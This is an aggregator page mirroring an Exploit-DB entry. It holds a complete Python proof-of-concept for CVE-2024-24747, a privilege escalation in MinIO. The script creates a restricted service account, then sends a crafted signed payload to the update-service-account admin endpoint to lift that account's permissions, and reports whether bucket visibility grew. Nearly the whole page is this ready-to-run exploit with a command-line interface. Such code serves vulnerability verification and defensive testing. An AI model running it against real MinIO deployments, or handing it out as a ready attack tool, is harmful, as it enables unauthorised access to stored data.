0

[remote] MinIO < 2024-01-31T20-20-33Z - Privilege Escalation

 1 week ago
source link: https://www.exploit-db.com/exploits/51976
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

MinIO < 2024-01-31T20-20-33Z - Privilege Escalation

EDB-ID:

51976

EDB Verified:


Exploit:

  /  

Platform:

Go

Date:

2024-04-12

Vulnerable App:

# Exploit Title: MinIO < 2024-01-31T20-20-33Z -  Privilege Escalation
# Date: 2024-04-11
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://min.io/
# Software Link: https://github.com/minio/minio/
# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z
# Tested on: Windows 10
# CVE : CVE-2024-24747
# Required before execution: pip install minio,requests

import argparse
import datetime
import traceback
import urllib
from xml.dom.minidom import parseString
import requests
import json
import base64
from minio.credentials import Credentials
from minio.signer import sign_v4_s3

class CVE_2024_24747:
    new_buckets = []
    old_buckets = []
    def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):
        self.bucket_names = ['pocpublic', 'pocprivate']
        self.new_accesskey = 'miniocvepoc'
        self.new_secretkey = 'MINIOcvePOC'
        self.headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
          'Content-Type': 'application/json',
          'Accept': '*/*'
        }
        self.accesskey = accesskey
        self.secretkey = secretkey
        self.verify = verify
        if verify:
            self.url = "https://" + host + ":" + port
            self.console_url = "https://" + host + ":" + console_port
        else:
            self.url = "http://" + host + ":" + port
            self.console_url = "http://" + host + ":" + console_port
        self.credits = Credentials(
            access_key=self.new_accesskey,
            secret_key=self.new_secretkey
        )
        self.login()
        try:
            self.create_buckets()
            self.create_accesskey()
            self.old_buckets = self.console_ls()
            self.console_exp()
            self.new_buckets = self.console_ls()

        except:
            traceback.print_stack()
        finally:
            self.delete_accesskey()
            self.delete_buckets()
            if len(self.new_buckets) > len(self.old_buckets):
                print("There is CVE-2024-24747 problem with the minio!")
                print("Before the exploit, the buckets are : " + str(self.old_buckets))
                print("After the exploit, the buckets are : " + str(self.new_buckets))
            else:
                print("There is no CVE-2024-24747 problem with the minio!")

    def login(self):
        url = self.url + "/api/v1/login"
        payload = json.dumps({
          "accessKey": self.accesskey,
          "secretKey": self.secretkey
        })
        self.session = requests.session()
        if self.verify:
            self.session.verify = False
        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
        # print(status_code)
        if status_code == 204:
            status_code = 0
        else:
            print('Login failed! Please check if the input accesskey and secretkey are correct!')
            exit(1)
    def create_buckets(self):
        url = self.url + "/api/v1/buckets"
        for name in self.bucket_names:
            payload = json.dumps({
                "name": name,
                "versioning": False,
                "locking": False
            })
            status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
            # print(status_code)
            if status_code == 200:
                status_code = 0
            else:
                print("新建 (New)"+name+" bucket 失败 (fail)!")
    def delete_buckets(self):
        for name in self.bucket_names:
            url = self.url + "/api/v1/buckets/" + name
            status_code = self.session.request("DELETE", url, headers=self.headers).status_code
            # print(status_code)
            if status_code == 204:
                status_code = 0
            else:
                print("删除 (delete)"+name+" bucket 失败 (fail)!")
    def create_accesskey(self):
        url = self.url + "/api/v1/service-account-credentials"
        payload = json.dumps({
            "policy": "{              \n    \"Version\":\"2012-10-17\",              \n    \"Statement\":[              \n        {              \n            \"Effect\":\"Allow\",              \n            \"Action\":[              \n                \"s3:*\"              \n            ],              \n            \"Resource\":[              \n                \"arn:aws:s3:::pocpublic\",              \n                \"arn:aws:s3:::pocpublic/*\"              \n            ]              \n        }              \n    ]              \n}",
            "accessKey": self.new_accesskey,
            "secretKey": self.new_secretkey
        })
        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
        # print(status_code)
        if status_code == 201:
            # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)!")
            # print(self.new_secretkey)
            status_code = 0
        else:
            print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)!")
    def delete_accesskey(self):
        url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')
        status_code = self.session.request("DELETE", url, headers=self.headers).status_code
        # print(status_code)
        if status_code == 204:
            # print("删除" + self.new_accesskey + " accessKey成功!")
            status_code = 0
        else:
            print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)!")
    def headers_gen(self,url,sha256,method):
        datetimes = datetime.datetime.utcnow()
        datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
        urls = urllib.parse.urlparse(url)
        headers = {
            'X-Amz-Content-Sha256': sha256,
            'X-Amz-Date': datetime_str,
            'Host': urls.netloc,
        }
        headers = sign_v4_s3(
            method=method,
            url=urls,
            region='us-east-1',
            headers=headers,
            credentials=self.credits,
            content_sha256=sha256,
            date=datetimes,
        )
        return headers
    def console_ls(self):
        url = self.console_url + "/"
        sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        headers = self.headers_gen(url,sha256,'GET')
        if self.verify:
            response = requests.get(url,headers=headers,verify=False)
        else:
            response = requests.get(url, headers=headers)
        DOMTree = parseString(response.text)
        collection = DOMTree.documentElement
        buckets = collection.getElementsByTagName("Bucket")
        bucket_names = []
        for bucket in buckets:
            bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)
        # print('当前可查看的bucket有:\n' + str(bucket_names))
        return bucket_names

    def console_exp(self):
        url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey
        sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"
        headers = self.headers_gen(url, sha256, 'POST')
        hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"
        content = bytes.fromhex(hex_string)
        if self.verify:
            response = requests.post(url,headers=headers,data=content,verify=False)
        else:
            response = requests.post(url,headers=headers,data=content)
        status_code = response.status_code
        if status_code == 204:
            # print("提升" + self.new_accesskey + " 权限成功!")
            status_code = 0
        else:
            print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)!")

if __name__ == '__main__':
    logo = """ 
                           ____    ___   ____   _  _           ____   _  _    _____  _  _    _____ 
  ___ __   __  ___        |___ \  / _ \ |___ \ | || |         |___ \ | || |  |___  || || |  |___  |
 / __|\ \ / / / _ \ _____   __) || | | |  __) || || |_  _____   __) || || |_    / / | || |_    / / 
| (__  \ V / |  __/|_____| / __/ | |_| | / __/ |__   _||_____| / __/ |__   _|  / /  |__   _|  / /  
 \___|  \_/   \___|       |_____| \___/ |_____|   |_|         |_____|   |_|   /_/      |_|   /_/   
                            """
    print(logo)
    parser = argparse.ArgumentParser()
    parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")
    parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")
    parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")
    parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")
    parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")
    parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")
    args = parser.parse_args()
    CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)
            

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK